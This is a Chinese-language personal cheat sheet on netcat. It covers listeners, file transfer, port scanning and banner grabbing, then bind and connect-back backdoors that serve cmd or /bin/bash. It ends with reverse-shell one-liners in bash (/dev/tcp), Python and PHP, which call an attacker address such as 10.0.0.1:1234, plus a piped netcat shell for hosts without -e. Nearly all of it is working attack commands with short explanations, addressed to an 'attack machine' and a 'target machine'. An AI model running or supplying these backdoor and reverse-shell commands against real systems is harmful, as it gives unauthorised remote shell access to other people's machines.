?一下,怕以后自己用的少忘记了。
⚪创建一个服务端
nc -l -p [端口]
-l:开启监听模式。
-p:指定监听端口。
⚪创建一个客户端(连接服务端)
nc -nv [服务端ip] [服务端端口]
-n:直接使用IP地址,而不通过域名服务器。
-v:显示指令执行过程。
⚪建立监听型后门(Windows)
nc -l -p [端口] -e cmd
-e:执行某个程序。表明连接之后要返回给连接端的程序是哪个。
⚪建立监听型后门(Linux)
nc -l -p [端口] -e /bin/bash
/bin/bash:Linux下执行命令的一个文件。
⚪建立连接型后门(Windows)
nc -nv [服务端ip] [服务端端口] -e cmd
⚪建立连接型后门(Linux)
nc -nv [服务端ip] [服务端端口] -e /bin/bash
⚪客户端向服务端传输文件
服务端:nc -l -p [端口] >shell.txt
客户端:nc -nv [服务端ip] [服务端端口] < 文件名
大于号接收,小于号上传。
>shell.txt:重定向。把收到的文件重定向到当前目录下并重命名为shell.txt。
注:传输好文件后必须中断连接才有字节,要么文件字节会显示为0。服务端向客户端传输文件方法同,不再赘述。
⚪端口扫描
nc -v -n -z -w1 [ip] [开始端口-结束端口]
-z:端口扫描。报告开放的端口,而不是启动连接。
-w1:超时时间为1秒。
⚪获取端口服务的Banner信息
echo ” ” | nc -v -n -w1 [ip] [开始端口-结束端口]
echo ” “:使用echo输出什么都没有的” “。
|:管道符。通过管道连接发送到对应的端口服务上。
⚪使用bash反弹shell
当目标为Linux机器,而且它没有NetCat时适用。
攻击机:nc -l -p [端口]
目标机:bash -i >& /dev/tcp/[攻击机IP]/[攻击机端口] 0>&1
bash -i :表示已交互模式运行bash shell。
>& :重定向符。
/dev/tcp/[攻击机IP]/[攻击机端口]:传递给远程主机对应的ip和端口。
0>&1:0是标准输入,1是标准输出。0>&1即将标准输入重定向到标准输出。
⚪使用Python反弹Shell
当目标主机没有NetCat,但有Python环境时适用。(Linux默认安装Python)
攻击机:nc -l -p [端口]
目标机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
⚪不使用-e参数反弹shell
当目标主机存在NetCat,但因为防护软件等原因不支持-e参数的情况。
攻击机开启两个nc,一个作为输入,一个作为输出。
目标机上将输入通过管道传给/bin/bash,再通过管道来传递输出。
攻击机:
nc -l -p [端口1]
nc -l -p [端口2]
目标机:
nc [目标机ip] [目标机端口1] | /bin/bash |nc [目标机ip] [目标机端口2]
⚪使用PHP反弹Shell
当目标主机没有Bash,Python环境,但是有PHP环境时适用。
攻击机:nc -l -p [端口]
目标机:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
注:这种方法需要PHP关闭safe_mode选项,要么不能使用exec函数。